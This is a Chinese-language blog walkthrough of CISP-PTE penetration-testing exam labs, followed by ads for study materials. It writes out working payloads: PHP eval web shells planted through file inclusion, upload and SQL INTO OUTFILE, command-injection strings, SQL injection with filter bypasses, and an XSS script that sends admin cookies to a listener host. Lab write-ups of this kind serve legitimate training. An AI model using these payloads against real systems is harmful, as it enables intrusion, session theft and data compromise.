网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
文件包含的几种方式挨个尝试吧
直接包含,失败
绝对路径,失败
目录穿越,失败
远程包含,失败
data协议写shell,使用蚁剑连接成功
http://11.1.10.11:34043/vulnerabilities/fu1.php?file=data://text/plan,<?php eval($\_POST[pass]);?>
或者使用phpfilter查看源码
file=php://filter/read=convert.base64-encode/resource=../key.php
命令执行
127.0.0.1|cat …/key.php
发现cat命令被过滤,问题不大,学了十来种读文件命令了
使用sed直接成功(这个比较好记,哈哈)
127.0.0.1|sed ' ' ../key.php
查看源代码发现key
日志分析
将日志放到自己新建的txt中,使用notepad++进行筛选内容,直接找出所有含有200的行
然后再翻一下,发现了好几个路径,一眼看到存在admin的登录路径
访问后成功进入admin的登录页面,我们尝试进行爆破
成功跑出密码
登录成功后获得key
(也可以使用正则表达式做这个题,下一个日志分析就使用了正则)
第三套题目
34031-34035
SQL注入
有注册用户功能,那我们俩先注册个用户进去看看
有个重置密码的功能点
我们通过注册正常的用户名和测试注入的用户名进行比较
比较发现注入点存在重置密码的地方,但存在注入的参数是用户名,也就是说注入点和回显点不一样
根据重置密码的sql语句进行构造
我们想要重置admin的密码,只需要注册一个admin’# 即可
username = ’ admin’#’
井号会将后面的单引号注释,成功修改admin的密码
文件上传
上传图片马失败,猜测对内容做了过滤,将图片马中的一句话木马改为免杀马,上传成功
修改后缀为.pht ,上传成功
但是访问时发现没有被当成php执行
修改后缀为php,上传成功,并且成功解析了
(我还以为会过滤php的,没想到没过滤)
蚁剑连接发现key
文件包含
尝试了本地包含、目录穿越、远程包含、data协议等多种方法后还是没出来
直接访问一下view.html 看看有没有什么别的东西
查看源代码,果然有东西
接下来就是代码审计了
isset()函数用于检测变量是否已设置并且非 NULL
代码中base64解码出来是一个base64的一句话木马
[@eval(base64\_decode($\_POST[z0]));]
根据代码,需要我们提交一个Hello参数,参数的值为多少都行,然后我们可以通过提交z0参数的base64值进行执行命令
先用phpinfo(); 试一下:
发现执行成功
那么直接写个查看key文件的系统命令(记得最后要加分号)
system(‘cat …/key.php’);
在源代码中找到key
代码审计
既然是代码审计,那就直接看代码
如果我们给cmd赋值并且长度小于等于30,exec就会执行我们的命令
但要注意,exec只会执行命令,不会返回结果
对于这种情况,我们可以使用重定向符,将命令执行的内容重定向到一个文件中,我们通过访问这个文件就可以看到命令执行的结果了,先来个ls试试
http://11.1.10.11:34034/start/vul.php?cmd=ls > x.html
直接发现key
命令执行
127.0.0.1|ls 失败
127.0.0.1| 失败
看来是直接把管道符给过滤了
我们尝试使用 &&
127.0.0.1 && ls 失败
难道&&也过滤了?
127.0.0.1 && 没有显示失败
说明 && 没有被过滤,是ls被过滤了
127.0.0.1 && pwd 成功
最后发现是过滤了php ,太坑了
使用星号进行匹配,成功得到key
127.0.0.1 && sed ’ ’ …/key.ph*
第四套题目
34021-34025 34214
SQL注入
和第三套题差不多,只不过将admin’# 给注册了,我们在#后面随便加点字符串就行了
注册一个admin’#123 登录后修改的密码就是admin的密码
文件上传
和上套题一样, 使用免杀马进行上传php文件,使用蚁剑进行连接
文件包含
和上套题一样的
直接访问被包含的文件,源代码发现有代码,通过代码审计,执行命令
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
日志分析
日志分析,我们要筛选出状态码为200 的日志,推荐使用正则的方式进行筛选
(一定要注意空格,没有空格的地方不要加空格,否则匹配不上)
^.\*"[A-Z]+ /.\*\.php.\*" 200
匹配后有289条,还是有点多,大概看了一下,有很多index、manager、footer、upload的路径,访问这四个路径后,发现均没有可以利用的地方,所以我们修改正则,将这四个路径去掉
?!index 表示不匹配index
^.\*"[A-Z]+ /(?!(index|manage|footer|upload)).\*\.php.\*" 200
匹配到了126条,发现匹配到了index,原来有的index前面有两个/ ,我们知道一个/和两个/访问的都是同一个页面,所以我们使用 /? 将两个/的index也筛选掉
/? 表示/可能有可能没有
^.\*"[A-Z]+ /(?!/?(index|manage|footer|upload)).\*\.php.\*" 200
正则筛选后就只剩下四条了
我们一眼看到/admin/backdoor.php 的路径,很可疑,访问一下,获得key
命令执行
127.0.0.1|sed ' ' ../key.php
成功获得key
代码审计
34214
对代码进行分析:
<?php
$v1 = 0;
$v2 = 0;
//使用get方法传递一个名为w的参数
//这个参数的内容是一个json格式的数组
$a = (array)json\_decode(@$\_GET['w']);
if (is\_array($a)) {
//这个数组有一个名为bar1的元素
//这个bar1的元素的内容,不能是数字
is\_numeric(@$a["bar1"]) ? die("nope") : NULL;
//这个bar1的元素的内容,不能是0、空、false
if (@$a["bar1"]) {
//这个bar1的元素的内容,要大于2020
($a["bar1"] > 2020) ? $v1 = 1 : NULL;
}
"bar1":"8023x"
//bar2元素的内容是一个数组
if (is\_array(@$a["bar2"])) {
//Bar2元素数组内容的个数是5
//bar2元素数组中第0个元素是数组
if (count($a["bar2"]) != 5 or !is\_array($a["bar2"][0])) {
die("nope");
}
"bar2":[[0],1,2,3,4]
//bar3元素也是一个数组
$pos = array\_search("cisp-pte", $a["bar3"]);
//bar3元素里一定有一个cisp-pte的元素
$pos === false ? die("nope") : NULL;
"bar3":["cisp-pte"]
//bar2数组种不能有元素的内容是cisp-pte
foreach ($a["bar2"] as $key => $val) {
$val == "cisp-pte" ? die("nope") : NULL;
}
$v2 = 1;
}
}
//v1和v2都为真(非0、非空、非false)时,输出本题答案
if ($v1 && $v2) {
include "key.php";
echo $key;
}
highlight\_file(__file__);
//构造的json数据如下:
{"bar1":"8023x","bar2":[[0],1,2,3,4],"bar3":["cisp-pte"]}
第五套题目
sql注入:我是差不多先生
11.1.10.11:34011
发现注册功能,注册一个test账号,进入后发现可以发表文章,在发表文章处使用多种闭合字符进行测试:
发现发布失败,使用title进行测试,依然失败,说明两个输入点多半都是注入点
使用burp进行抓包,
尝试构造一下sql语句,猜测sql语句为:
insert into aritcles(title,content) values('tit','con')
由于不同用户提交的文章是相互独立的,所以很可能有个user参数
insert into aritcles(title,content,user) values('tit','con','test')
这说明sql语句至少有这三个参数,可能会更多
在火狐浏览器中尝试使用 ')# 进行闭合
失败了,根据之前构造的sql语句,判断可能是由于参数不够导致列数不一致。
(因为#会将后面的内容注释掉,如果content参数后面还有参数就会被注释,导致列数不一致)
于是我们在content参数后面加上一个空值试试,发现成功了,说明content后面还有一个参数
虽然上面提交成功了,但是文章页面并没有我们发布的文章,说明最后一个字段可能是user字段,用来判断文章是谁发布的。
我们将之前加的空字段改为自己的用户名test1:
查看文章页面,发现文章发表成功了,说明我们的猜测是正确的,并且确定了sql语句中最后一个字段一定是用户名的,倒数第二个字段一定是content
为了判断倒数第三个字段是不是title,我们可以在title处进行构造闭合,看结果是否成功
title=123','123','test')#&content=test
文章发布成功,说明title确定为倒数第三个参数。
开始注入:
在content处使用database()进行查询数据库名
title=123',(database()),'test')#&content=test
查询出当前数据库名为 2web
然后使用sql查询语句查询表名
select group\_concat(table_name) from information_schema.tables where table_schema='2web'
title=123',(select group\_concat(table\_name) from information\_schema.tables where table\_schema='2web'),'test')#&content=test
执行后发现失败了,可能存在一些过滤规则
使用大小写绕过和/**/绕过空格进行尝试
SElect/**/group_concat(table_name)/**/FRom/**/information_schema.tables/**/WHere/**/table_schema='2web'
绕过后发布成功,在文章处查看结果
查询出了三个表,根据题目所说,key是admin的密码,所以我们应该进一步查询users1表的内容,继续构造sql查询语句:
SElect/**/group_concat(column_name)/**/FRom/**/information_schema.columns/**/WHere/**/table_name='users1'
成功查询出两个列名,接下来我们直接查询password中admin所对应的值就行
SElect/**/group_concat(password)/**/FRom/**/users1/**/WHere/**/username='admin'
成功
扩展一下:如果#等注释字符被过滤的话该怎么办?
insert 可以同时插入多条语句,我们利用这个特性,可以将后面的语句进行闭合,成为另一个语句,先尝试使用 (’ 进行闭合
title=123','123','test'),('&content=test
发现失败了,失败的原因是什么呢?
我们之前使用的注释,只需要考虑从后往前的参数,不用考虑title前面有没有参数,现在注释不了了,就要考虑title前面是不是还有参数,我们假设title前面还有一个参数,我们在后面的括号中构造一个空值:
title=123','123','test'),(' ','&content=test
发现成功了,说明title之前确实还有一个参数,一共有四个参数。
sql语句应为:
insert into aritcles(xxx,title,content,user) values('x','title1','content1','user'),('x','title2','content2','user')
相当于一次发表两个文章,我们在title处填写
title1','content1','user'),('x','title2
相当于post提交:
title=title1','content1','test'),('x','title2&content=content2
成功发布了两篇文章。而且没有使用注释符号。
使用火狐中的插件更加方便,可以直接生成查询的payload:
(注意:使用post提交数据时,要将生成的payload中的+给换成空格)
文件上传
11.1.10.11:34012
上传正常一句话木马的图片马,发现上传失败
猜测可能对内容进行检测了
换一个免杀马,发现上传成功
后缀改为.pht 上传成功
尝试执行phpinfo(); ,成功!
使用蚁剑进行连接,在html目录下发现key.php,得到key
或者使用命令直接查询key.php文件
先ls看下key.php在哪个目录
查看源代码,发现key2
文件包含
url为:http://11.1.10.11:34013/vulnerabilities/fu1.php?file=view.html
因为包含了view.html ,我们直接访问这个html文件:
http://11.1.10.11:34013/vulnerabilities/view.html
查看源代码:
将base64内容放入txt中,使用notepad++进行解码
[@eval(base64_decode($_POST[z0]));]
接下来就是代码审计了
使用post方式提交一个Hello参数的值并赋给a
isset()函数用于检测变量是否已设置并且非 NULL
使用if判断a是否为空,不为空就执行下面的
preg_replace 函数,执行一个正则表达式的搜索和替换,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码执行
所以通过z0可以执行命令,z0的值需要使用base编码
注意:提交参数时需要再一开始的题目页面进行提交
Hello=1&z0=system('cat ../key.php');
Hello=1&z0=c3lzdGVtKCdjYXQgLi4va2V5LnBocCcpOw==
查看元素,发现key3
命令执行
127.0.0.1| sed ‘’ …/key.php 或者
127.0.0.1| grep ‘’ …/key.php
(注意sed和grep后面是两个单引号,不能用双引号)
验证码爆破
删除验证码和cookie,直接爆破即可
使用密码登录后获得key5
第六套题目
34051 34061 34213 34223 34224 34234
sql注入
这题考察万能密码,使用
admin '='
成功登录,获得key
或者在密码处使用
'Or '1'='1
使用这个万能密码可以绕过用户名,不管用户名是不是admin都可以登录成功
原理如下:
sql注入
还是sql注入
根据sql语句提示,使用’)进行闭合,#被过滤了,使用–+进行注释
order by查询字段,发现有7个字段
union select 查询字段回显,发现union没了
使用双写绕过成功
使用load_file()查看key
XSS漏洞
做题思路是写个xss代码获取admin的cookie
<script>document.write('<img src="http://11.1.12.132:8023?' + document.cookie + '" />');</script>
nc开启监听:
nc -l -p 8023
看到PhantomJS就说明获取到了admin的key(仅限考试中作为参考)
使用火狐中的插件修改cookie
修改后访问admin页面,成功获得key
文件包含
34223
我们发现page后面的参数是hell,下面输出的是hello.txt,我们将page改为hello.txt试试
发现下面变成了hello.txt.txt,这说明系统会强制给page的参数最后加上.txt
这种情况我们尝试使用data协议进行绕过
phpinfo改成一句话木马:
http://11.1.10.11:34223/start/index.php?page=data://text/plan,<?php @eval($\_POST["x"]);?>
蚁剑连接
或者使用远程包含也行
XSS漏洞
还是这段代码,需要背会!!!
<script>document.write('<img src="http://11.1.12.132:6789/?' + document.cookie + '"/>');</script>
代码审计
strtolower用于将字符串转换为小写字母
我们构造出语句进行闭合:
$o=strtolower(" ");
");system("ls
我们发现ls被成功执行了
然后就是查看key4.php
$o=strtolower(" ");
");system("cat key4.php
综合题一
11.1.10.81-86
使用nmap进行扫描端口
nmap -p 1-65535 -T4 -A -v -Pn 11.1.10.81
扫描到了125端口
访问url,发现弹出一个窗口,说username is admin
我们尝试进行爆破密码
使用burp进行抓包
这段base64就是用户名密码的地方,我们进行解码
发现了格式为用户名冒号密码
然后我们进行爆破
使用自定义payload ,Custom iterator
第一个字段输入admin,下面的分隔填写分号
第二个字段选择我们的密码字典,不用填分隔符
添加base64编码
开始攻击,成功爆破出密码
使用密码进行登录,发现一个系统
查看源码看看有没有什么内容
发现注释里说这是静态页面,我们当然要试试才能相信,使用burp尝试抓登录的包,确实没有抓到数据包,说明这确实是静态页面
那么我们使用burp进行目录扫描,注意直接使用工具进行扫描没有我们的登录信息,所以扫描不到
选择这三个字典,并将url编码取消
扫出了三个200的状态码,我们在robots.txt中发现了key6
接下来我们去看看另外两个路径
/news/ 是一个留言系统
/images/ 就是几张图片,看来突破口就在留言系统上
我们先继续对/news/路径进行目录和文件的扫描
发现/phpmyadmin/路径,访问一下看看
发现没有设置密码,直接访问成功了
这里我们想要登录进这个系统有两种方法:
1.进行爆破密码
2.在phpmyadmin中直接修改admin用户的密码
这里我们都尝试一下:
1.进行爆破密码
虽然有验证码,但我们可以通过删除验证码和cookie的方式进行绕过验证码,成功爆破出admin的密码是admin
2.在phpmyadmin中直接修改admin用户的密码
通过在phpmyadmin中查找,找到了admin密码所在
看着应该是md5加密,注意 ,在考试中有以下几种加密方式,一个一个试就行:
md5 md5(md5) sha1 sha1(sha1)
像这个密码,我们使用md5爆破工具爆破不出来,一个不是单纯的md5
我们猜测是两次md5
我们在修改数据之前,一定要记得先把原来的数据在txt中保存一下,防止环境出问题了还原不了
我们将现在的密码保存一下,然后再进行修改
我这里将密码改为123456,然后进行两次md5编码
然后我们在系统登录页面使用修改后的密码进行登录
admin 123456
登录成功,并且发现了系统路径,先记着,之后可能会用上
接下来我们要想办法获取shell
我们现在可以访问phpmyadmin,还知道系统路径,所以我们采用sql语句写shell的方式写一个shell上去
SELECT '<?php @eval($\_POST["x"]);?>' into outfile 'C:/wamp/www/shell.php'
使用蚁剑进行连接:
发现连接失败,突然想起来这个url是需要认证的,所以需要我们在蚁剑添加认证的参数:
连接成功,在目录中发现key7
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)
学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份我自己整理的网络安全入门工具以及使用教程和实战。
项目实战
最后就是项目实战,这里带来的是SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~
面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!